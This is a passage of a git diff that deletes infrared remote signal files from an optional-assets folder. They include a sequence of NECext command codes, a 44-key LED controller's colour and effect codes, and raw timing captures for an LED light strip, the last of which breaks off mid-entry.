00 00 -# -name: 166 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A5 5A 00 00 -# -name: 167 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A6 59 00 00 -# -name: 168 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A7 58 00 00 -# -name: 169 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A8 57 00 00 -# -name: 170 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: A9 56 00 00 -# -name: 171 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: AA 55 00 00 -# -name: 172 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: AB 54 00 00 -# -name: 173 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: AC 53 00 00 -# -name: 174 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: AD 52 00 00 -# -name: 175 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: AE 51 00 00 -# -name: 176 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: AF 50 00 00 -# -name: 177 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: B0 4F 00 00 -# -name: 178 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: B1 4E 00 00 -# -name: 179 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: B2 4D 00 00 -# -name: 180 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: B3 4C 00 00 -# -name: 181 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: B4 4B 00 00 -# -name: 182 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: B5 4A 00 00 -# -name: 183 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: B6 49 00 00 -# -name: 184 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: B7 48 00 00 -# -name: 185 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: B8 47 00 00 -# -name: 186 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: B9 46 00 00 -# -name: 187 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: BA 45 00 00 -# -name: 188 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: BB 44 00 00 -# -name: 189 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: BC 43 00 00 -# -name: 190 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: BD 42 00 00 -# -name: 191 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: BE 41 00 00 -# -name: 192 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: BF 40 00 00 -# -name: 193 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C0 3F 00 00 -# -name: 194 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C1 3E 00 00 -# -name: 195 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C2 3D 00 00 -# -name: 196 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C3 3C 00 00 -# -name: 197 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C4 3B 00 00 -# -name: 198 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C5 3A 00 00 -# -name: 199 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C6 39 00 00 -# -name: 200 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C7 38 00 00 -# -name: 201 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C8 37 00 00 -# -name: 202 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: C9 36 00 00 -# -name: 203 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: CA 35 00 00 -# -name: 204 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: CB 34 00 00 -# -name: 205 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: CC 33 00 00 -# -name: 206 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: CD 32 00 00 -# -name: 207 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: CE 31 00 00 -# -name: 208 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: CF 30 00 00 -# -name: 209 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: D0 2F 00 00 -# -name: 210 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: D1 2E 00 00 -# -name: 211 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: D2 2D 00 00 -# -name: 212 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: D3 2C 00 00 -# -name: 213 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: D4 2B 00 00 -# -name: 214 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: D5 2A 00 00 -# -name: 215 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: D6 29 00 00 -# -name: 216 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: D7 28 00 00 -# -name: 217 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: D8 27 00 00 -# -name: 218 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: D9 26 00 00 -# -name: 219 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: DA 25 00 00 -# -name: 220 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: DB 24 00 00 -# -name: 221 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: DC 23 00 00 -# -name: 222 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: DD 22 00 00 -# -name: 223 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: DE 21 00 00 -# -name: 224 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: DF 20 00 00 -# -name: 225 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E0 1F 00 00 -# -name: 226 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E1 1E 00 00 -# -name: 227 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E2 1D 00 00 -# -name: 228 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E3 1C 00 00 -# -name: 229 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E4 1B 00 00 -# -name: 230 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E5 1A 00 00 -# -name: 231 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E6 19 00 00 -# -name: 232 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E7 18 00 00 -# -name: 233 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E8 17 00 00 -# -name: 234 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: E9 16 00 00 -# -name: 235 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: EA 15 00 00 -# -name: 236 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: EB 14 00 00 -# -name: 237 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: EC 13 00 00 -# -name: 238 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: ED 12 00 00 -# -name: 239 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: EE 11 00 00 -# -name: 240 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: EF 10 00 00 -# -name: 241 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: F0 0F 00 00 -# -name: 242 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: F1 0E 00 00 -# -name: 243 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: F2 0D 00 00 -# -name: 244 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: F3 0C 00 00 -# -name: 245 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: F4 0B 00 00 -# -name: 246 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: F5 0A 00 00 -# -name: 247 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: F6 09 00 00 -# -name: 248 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: F7 08 00 00 -# -name: 249 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: F8 07 00 00 -# -name: 250 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: F9 06 00 00 -# -name: 251 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: FA 05 00 00 -# -name: 252 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: FB 04 00 00 -# -name: 253 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: FC 03 00 00 -# -name: 254 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: FD 02 00 00 -# -name: 255 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: FE 01 00 00 -# -name: 256 -type: parsed -protocol: NECext -address: 00 EF 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir deleted file mode 100644 index 48dc94e83..000000000 --- a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/LED_44Key.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Light UP -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: Light DOWN -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: Play / Pause -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 41 00 00 00 -# -name: Power -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 40 00 00 00 -# -name: Red -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 58 00 00 00 -# -name: Blue -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 59 00 00 00 -# -name: Green -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 45 00 00 00 -# -name: White -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 44 00 00 00 -# -name: Orange -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 54 00 00 00 -# -name: Lime -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 55 00 00 00 -# -name: Violet -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 49 00 00 00 -# -name: Carnation -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 48 00 00 00 -# -name: Tangerine -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 50 00 00 00 -# -name: Aquamarine -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 51 00 00 00 -# -name: Purple -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: Carnation -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: Apricot -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: Olympic -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: Lavender -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: Sea Green -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: Yellow -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 18 00 00 00 -# -name: Teal -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 19 00 00 00 -# -name: Pink -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: Baby Blue -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: Red UP -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 14 00 00 00 -# -name: Red DOWN -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 15 00 00 00 -# -name: Green UP -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 16 00 00 00 -# -name: Green DOWN -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 17 00 00 00 -# -name: Blue UP -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 10 00 00 00 -# -name: Blue DOWN -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 11 00 00 00 -# -name: QUICK -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 12 00 00 00 -# -name: SLOW -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 13 00 00 00 -# -name: DIY 1 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: DIY 2 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: DIY 3 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: AUTO -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: DIY 4 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 08 00 00 00 -# -name: DIY 5 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 09 00 00 00 -# -name: DIY 6 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: FLASH -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: JUMP 3 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 04 00 00 00 -# -name: JUMP 7 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 05 00 00 00 -# -name: FADE 3 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 06 00 00 00 -# -name: FADE 7 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 07 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir deleted file mode 100644 index 182af31f4..000000000 --- a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Light_Strip.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power_on -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9752 4512 678 519 629 574 636 569 631 571 629 572 628 572 628 571 629 573 627 1689 629 1683 625 1685 623 1686 622 1687 621 1688 630 1678 619 1686 622 1683 625 1681 627 567 623 575 625 571 619 576 624 572 628 1679 629 567 623 573 627 1681 627 1677 620 1686 622 1680 617 1681 616 571 619 39161 9413 2260 622 96457 9493 2267 615 96491 9491 2260 622 99522 2889 75674 9757 4519 630 573 627 578 632 572 628 578 632 573 627 578 632 572 628 575 635 1675 622 1676 621 1677 610 1687 621 1677 610 1687 621 1678 609 1688 620 1683 614 1687 631 568 621 575 625 577 633 568 632 569 631 1682 626 573 627 573 627 1684 624 1687 631 1677 631 1678 630 1680 628 569 631 39165 9531 2265 617 97240 9673 2263 629 -# -name: Power_off -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9526 4512 627 568 622 572 628 567 623 571 619 575 625 568 622 570 620 571 619 1683 625 1678 619 1682 626 1676 621 1681 627 1675 623 1679 619 1683 625 565 625 1674 623 596 593 595 595 594 596 594 596 593 586 1685 623 1677 621 596 594 1677 621 1679 618 1681 616 1682 615 1683 614 600 590 39182 9434 2264 618 96516 9414 2260 612 96510 9460 2258 614 96482 9561 2269 634 96516 9856 2270 633 96479 9862 2271 642 96516 9898 2271 642 96486 9876 2273 691 96432 9879 2265 638 96485 9866 2273 640 96480 9858 2266 637 96530 9891 2271 642 96726 9890 2271 642 96496 9884 2271 642 96493 9886 2265 638 96502 9888 2267 646 96494 9886 2267 646 96494 9898 2268 645 96500 9911 2271 642 96513 9921 2266 647 -# -name: Bright_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9512 4513 626 592 587 599 591 596 594 592 587 598 592 594 585 600 590 595 584 1684 624 1676 622 1677 621 1675 612 1682 616 1679 608 1684 614 1680 607 601 589 564 615 564 615 565 614 565 614 565 614 593 586 1676 611 1681 606 1686 612 1680 607 1685 612 1680 607 1685 613 1681 616 567 612 39181 9353 2262 610 96521 9346 2265 607 96503 9407 2263 609 96555 9468 2267 615 96789 10035 2284 639 98340 9868 2281 642 96680 10006 2271 642 96640 10007 2278 645 96746 10013 2277 646 96773 10027 2281 642 96844 10049 2275 648 96842 10063 2279 644 96641 9494 2270 622 96592 9459 2262 620 -# -name: Bright_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 10190 4555 656 579 652 583 648 587 654 581 650 584 647 586 655 578 653 581 649 1701 658 1695 654 1699 650 1702 647 1704 655 1693 645 1703 656 1694 655 1698 651 586 655 583 658 581 650 589 652 584 657 579 652 1700 649 586 655 1699 650 1704 655 1698 651 1703 656 1699 650 1705 654 585 656 39849 10069 2284 650 54703 10223 4549 651 586 655 584 657 581 660 581 660 581 660 581 660 581 660 581 660 1699 660 1699 660 1701 658 1704 655 1706 653 1708 651 1708 661 1699 660 1701 658 584 657 585 656 587 654 588 653 588 653 588 653 1706 653 588 653 1705 654 1705 654 1705 654 1703 656 1701 658 1705 654 586 655 63890 10114 4552 649 588 653 584 657 580 651 586 655 582 649 588 653 583 658 579 651 1705 654 1706 653 1708 651 1706 653 1708 651 1709 650 1711 648 1710 649 1714 655 583 648 587 654 581 650 585 645 589 652 585 707 1652 656 583 658 1701 658 1701 658 1699 660 1699 650 1708 651 1707 652 586 655 39618 10155 2286 658 97127 10219 2288 656 97523 9965 2290 644 96905 10101 2281 653 97091 10070 2285 648 97100 10070 2293 651 97024 10167 2284 650 97065 10218 2285 659 97001 10200 2289 655 96997 10141 2284 650 97121 9976 2292 641 97312 10070 2289 644 97238 10094 2289 644 97251 10195 2288 656 97168 10270 2227 655 96954 10206 2282 651 96927 10190 2289 655 96922 10159 2283 651 96890 10159 2285 649 96941 10230 2283 651 96897 10119 2281 652 -# -name: Red -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9643 4513 626 570 630 567 633 566 634 567 633 597 603 601 599 577 633 574 626 1680 617 1684 613 1687 631 1683 635 1681 627 1679 618 1681 627 -# -name: Green -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2277 135 6297 131 648 31215 9397 13890 9345 4513 616 566 613 566 613 567 612 568 611 569 610 569 610 570 609 572 607 1682 615 1680 618 1676 611 1678 609 1682 615 1675 612 1679 608 1682 615 1676 611 568 611 1676 611 570 609 571 608 574 615 565 614 1675 612 566 613 1675 612 566 613 1678 609 1682 615 1676 611 1679 608 572 607 60519 9399 4514 604 572 607 569 610 566 613 564 605 572 607 569 610 567 612 564 605 1681 606 1684 613 1674 613 1675 448 1852 610 1678 609 1681 647 1646 621 1678 609 573 606 1682 615 565 501 682 610 569 610 569 610 1680 607 573 606 1683 614 565 583 1705 418 84 177 1618 613 1678 619 1681 616 566 613 39179 621 499 3912 -# -name: Blue -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 7235 513 882 81 483 106 335 4464 624 568 642 550 619 570 609 573 616 567 622 568 622 568 621 571 629 1675 622 1679 629 1679 629 1685 623 1684 624 1676 621 1679 629 1678 619 576 624 1677 620 1682 615 573 616 570 619 569 621 567 612 1682 615 1681 668 520 618 565 624 1678 619 1676 621 1683 625 1679 618 572 607 39193 9276 2260 612 96574 9516 2265 617 -# -name: White -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9300 4515 603 574 605 573 606 571 608 570 609 567 602 574 605 571 608 567 602 1687 610 1678 609 1680 607 1682 605 1685 612 1678 609 1680 607 1682 605 1684 613 1677 610 1680 607 571 608 569 610 567 612 565 614 1676 611 567 612 564 605 572 607 1681 606 1683 604 1684 603 1686 612 564 605 39200 9291 2258 604 96551 9262 2259 613 96529 9264 2259 613 96522 9284 2257 605 96540 9285 2264 608 96536 9286 2266 606 -# -name: Flash -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9313 4515 603 573 606 572 607 569 610 565 604 571 608 567 612 564 605 571 608 1680 607 1680 607 1680 607 1680 607 1680 607 1681 606 1682 605 1681 606 1682 605 1683 604 571 608 1680 607 569 610 566 603 572 607 1681 606 568 611 564 605 1682 605 570 609 1678 609 1677 610 1678 609 566 603 39188 9277 2266 606 92880 9292 4520 608 572 607 572 607 571 608 569 610 567 612 566 603 574 605 571 608 1680 607 1682 605 1684 613 1677 610 1680 607 1681 606 1683 604 1683 604 1683 604 1684 603 572 607 1680 607 568 601 574 605 569 610 1677 610 565 604 572 607 1680 607 567 602 1685 602 1685 602 1684 603 571 608 39192 9252 2264 608 96542 9230 2264 608 96533 9259 2263 609 39822 9300 4512 606 572 607 571 608 571 608 572 607 573 606 574 605 571 608 568 611 1683 614 1680 607 1686 611 1680 607 1685 612 1677 610 1680 607 1682 605 1687 610 1682 605 574 605 1683 604 573 657 518 610 567 612 1676 611 564 605 570 609 1677 610 564 605 1680 607 1679 608 1678 609 564 605 -# -name: Strobe -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9356 4516 612 565 604 572 607 568 611 565 614 562 607 570 609 569 610 571 618 1677 620 1677 620 1675 612 1682 615 1678 619 1675 612 1683 614 1682 615 1677 610 1677 610 1678 609 1679 608 570 609 569 610 567 612 1675 612 567 612 565 604 572 607 568 611 1674 613 1675 612 1676 611 566 603 39235 9211 2262 599 96556 9209 2263 609 132824 593 95 9208 4697 667 570 640 598 632 605 636 603 638 604 647 589 682 562 679 572 669 1712 636 1786 634 88917 435 -# -name: Fade -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9425 4465 602 573 606 569 610 565 604 571 608 567 602 573 606 569 610 564 605 1682 605 1682 605 1683 604 1683 604 1684 603 1685 602 1685 602 1688 609 1683 604 1683 604 571 608 567 612 1679 608 571 608 569 610 1679 618 563 616 566 613 1676 611 1680 607 599 580 1681 606 1685 612 595 584 39240 9350 2265 607 96549 9265 2264 608 96543 9262 2267 605 96541 9326 2263 609 96603 2532 294 6671 2267 625 96489 5624 246 3529 2266 616 96521 9360 2296 637 96458 3955 383 5105 2263 609 96544 9234 2291 632 96487 9208 2266 606 96541 9205 2292 662 96457 9195 2293 661 -# -name: Strobe -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9309 4520 608 567 602 572 607 566 603 570 609 564 605 569 600 573 606 567 602 1683 604 1683 604 1683 604 1682 605 1682 605 1682 605 1682 605 1682 605 1682 605 1682 605 1682 605 570 609 1677 610 566 603 572 607 1679 608 568 611 564 605 571 608 1679 608 570 609 1681 616 1675 612 568 611 39233 9345 2258 614 96541 9304 2256 616 96537 9258 2265 607 96547 9259 2260 601 96549 9257 2262 610 96537 9238 2259 603 96545 9220 2260 601 96548 9217 2261 600 96548 9218 2260 602 96544 9211 2264 608 96533 9212 2261 601 96538 9225 2265 607 96505 9239 2257 604 96537 9217 2262 599 96543 9224 2260 601 96538 9218 2263 609 96536 9220 2260 602 96567 9325 2265 607 -# -name: Red_dark -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9263 4514 604 572 607 567 602 572 607 566 603 571 608 565 604 569 610 563 606 1679 608 1677 610 1676 611 1675 602 1685 602 1684 603 1683 604 1682 605 570 609 565 604 571 608 1677 610 565 604 570 609 565 604 1681 606 1680 607 1680 607 1679 608 567 602 1683 604 1683 604 1683 604 571 608 39192 9243 2257 604 96513 9250 2262 610 96528 9227 2264 608 96547 9218 2260 602 96535 9229 2257 604 96526 9240 2263 609 96523 9235 2263 609 96520 9265 2260 612 96526 9238 2261 611 96521 9242 2261 611 96536 9238 2259 664 96480 9254 2262 661 96468 9309 2261 611 96511 9297 2266 606 96513 9304 2264 608 96534 9292 2258 603 96539 9216 2265 607 96528 9235 2266 606 -# -name: Green_dark -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9293 4512 606 573 606 570 609 565 614 564 605 571 608 566 603 572 607 566 603 1681 606 27409 9280 -# -name: Blue_dark -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9289 26208 9283 4514 604 570 609 565 604 569 600 573 606 567 602 571 608 565 604 569 600 1683 604 1681 606 1680 607 1678 609 1677 610 1677 610 1677 610 1677 610 568 611 1675 612 566 603 1682 605 573 606 568 611 563 606 1678 609 1676 611 563 606 1677 610 565 604 1680 607 1678 609 1676 611 564 605 39183 9261 2260 612 96522 9222 2263 609 96523 9232 2263 609 96533 9231 2263 609 96534 9240 2259 602 96529 9216 2262 610 96526 9227 2260 601 96535 9217 2258 603 96530 9214 2261 600 96532 9232 2260 612 96524 9208 2264 608 96529 9214 2262 610 96526 9216 2261 611 96514 9210 2256 605 34900 9227 4511 607 568 601 573 606 566 603 569 600 571 598 572 607 563 606 564 605 1675 602 1680 607 1674 603 1679 598 1683 604 1678 599 1684 603 1680 607 567 602 1680 607 566 603 1680 607 566 603 569 610 562 607 1676 611 1673 604 597 582 1674 603 597 582 1675 602 1683 604 1680 607 564 605 -# -name: Yellow -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9262 4514 614 590 579 594 575 570 609 563 606 567 602 598 581 564 605 567 602 1682 667 1619 606 1678 609 1675 612 1673 604 1681 606 1678 609 1675 602 571 608 563 606 1677 610 1675 602 570 609 563 606 565 604 1679 608 1676 611 1673 604 569 610 561 608 1676 611 1673 604 1681 606 594 575 39196 9229 2259 602 96548 9214 2263 609 96537 9205 2256 605 96542 9201 2259 602 96538 9205 2262 610 96524 9199 2263 609 96527 9195 2261 600 96536 9194 2261 662 96470 9188 2264 608 96525 9197 2259 602 96530 9191 2261 600 96530 9201 2259 602 96530 9201 2263 609 96523 9198 2265 607 96526 9196 2261 600 96533 9189 2291 663 96443 9187 2257 604 -# -name: Blue_green -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9237 4514 604 569 600 573 606 565 604 568 601 570 599 573 606 565 604 568 601 1708 579 1678 609 1676 601 1684 603 1683 604 1682 605 1681 606 1680 607 1679 608 567 602 1682 605 1680 607 567 602 570 599 574 605 1678 609 564 605 1705 582 565 604 569 600 1711 576 1681 606 1680 607 567 602 42429 7184 2259 613 96578 9224 2259 602 96551 9221 2267 605 96534 9217 2260 601 96537 9213 2262 599 96542 9216 2261 600 96542 9219 2265 607 96527 9221 2262 599 96544 9226 2265 607 96539 9231 2259 602 96542 9227 2261 601 96541 9227 2258 603 96540 9219 2263 609 96530 9220 2264 608 96538 9221 2266 605 96538 9220 2265 606 96527 9251 2258 603 96536 9230 2261 610 96532 9216 2263 609 96533 9214 2262 610 96530 9208 2263 609 96531 9210 2260 663 96477 9209 2259 602 96531 9277 2258 603 -# -name: Purple -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9275 4510 608 571 608 567 612 564 605 572 607 569 610 566 603 573 606 569 610 1675 612 1676 611 1678 609 1680 607 1680 607 1681 606 1681 606 1681 606 569 600 1684 603 1683 604 1681 606 568 601 572 607 566 603 1681 606 1680 607 568 601 572 607 565 604 1680 607 1678 660 1624 601 573 606 39188 9243 2261 610 96545 9192 2265 607 96530 9196 2267 604 96539 9178 2265 607 96538 9190 2260 601 96540 9199 2264 608 96539 9189 2260 601 96544 9184 2290 653 96464 9183 2266 606 96533 9184 2257 604 96537 9171 2262 599 96536 9172 2261 600 96538 9170 2289 654 96456 9169 2263 598 96537 9171 2289 654 96454 9169 2262 599 96532 9174 2259 602 96532 9173 2259 602 96529 9168 2265 607 96526 9173 2261 600 96535 9173 2285 628 96482 9166 2291 632 96479 9167 2290 653 96453 9173 2283 630 96478 9169 2261 600 96534 9166 2263 598 96540 9168 2261 600 96536 9163 2266 606 96529 9170 2260 601 96535 9161 2266 605 96530 9167 2261 600 96531 9164 2289 634 96473 9162 2291 652 96452 9162 2265 607 96524 9172 2258 603 96527 9170 2259 602 96528 9161 2293 661 96438 9167 2286 627 96473 9161 2291 652 -# -name: Lime -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 90 00 00 00 -# -name: Aqua -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9256 4517 611 568 611 565 604 571 608 567 602 573 606 569 610 565 604 571 608 1678 609 1681 606 1683 614 1675 612 1676 611 1676 611 1675 612 1676 611 1679 608 570 609 567 602 574 605 1680 607 573 606 571 608 1677 610 567 602 1683 604 1682 605 1681 606 569 610 1675 602 1683 604 570 609 39256 9269 2257 615 44702 9281 4515 613 565 604 574 605 572 607 570 609 568 611 567 612 565 614 564 605 1682 615 1674 613 1676 611 1677 610 1678 609 1679 608 1680 607 1680 607 1681 606 571 608 567 602 573 606 1678 609 568 611 564 605 1680 607 571 608 1677 610 1679 608 1679 608 570 609 1677 610 1677 610 567 602 39207 9328 2258 613 96859 9299 2263 609 96547 9261 2264 607 96544 9256 2268 603 96543 9266 2287 666 96446 9260 2263 609 96522 9277 2267 604 96539 9230 2267 605 96542 9259 2259 602 96538 9262 2265 607 96541 9229 2267 605 96544 9224 2265 607 96539 9241 2261 600 96545 9244 2265 607 96540 9251 2258 603 96541 9249 2258 603 96537 9242 2265 606 96532 9248 2260 612 96526 9242 2265 607 96534 9255 2263 609 96532 9256 2262 610 96533 9277 2258 614 96529 9291 2259 613 96529 9209 2288 635 96474 9203 2263 609 96521 9247 2261 611 96483 9275 2259 612 96510 9237 2263 608 96527 9209 2265 607 96530 9207 2260 683 96449 9206 2258 603 96534 9203 2260 601 96538 9202 2259 602 96533 9195 2266 606 96528 9202 2259 602 96532 9197 2261 600 96537 9193 2265 607 96528 9199 2258 603 96532 9196 2258 665 96471 9194 2257 604 96531 9186 2265 606 96530 9189 2263 609 96535 9172 2266 605 -# -name: Pink -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9232 4511 607 568 611 563 606 568 611 563 606 570 609 567 612 563 606 570 609 1677 610 1680 607 1682 615 1674 613 1676 611 1678 609 1683 614 1676 611 594 585 1676 611 566 613 563 606 1680 607 570 609 566 613 1674 613 1675 612 563 606 1679 608 1680 607 569 610 1676 611 1676 611 564 605 39231 9272 2263 608 96566 9220 2264 607 96562 9277 2260 611 96533 9254 2259 612 96533 9245 2261 610 96534 9233 2266 605 96506 9240 2264 608 96538 9260 2258 603 96540 9258 2262 610 96537 9241 2262 610 96538 9219 2259 602 96546 9211 2260 601 96547 9211 2255 606 96541 9206 2256 605 96540 9207 2256 605 96648 9211 2261 611 96528 9208 2262 609 96648 9202 2258 603 96537 9189 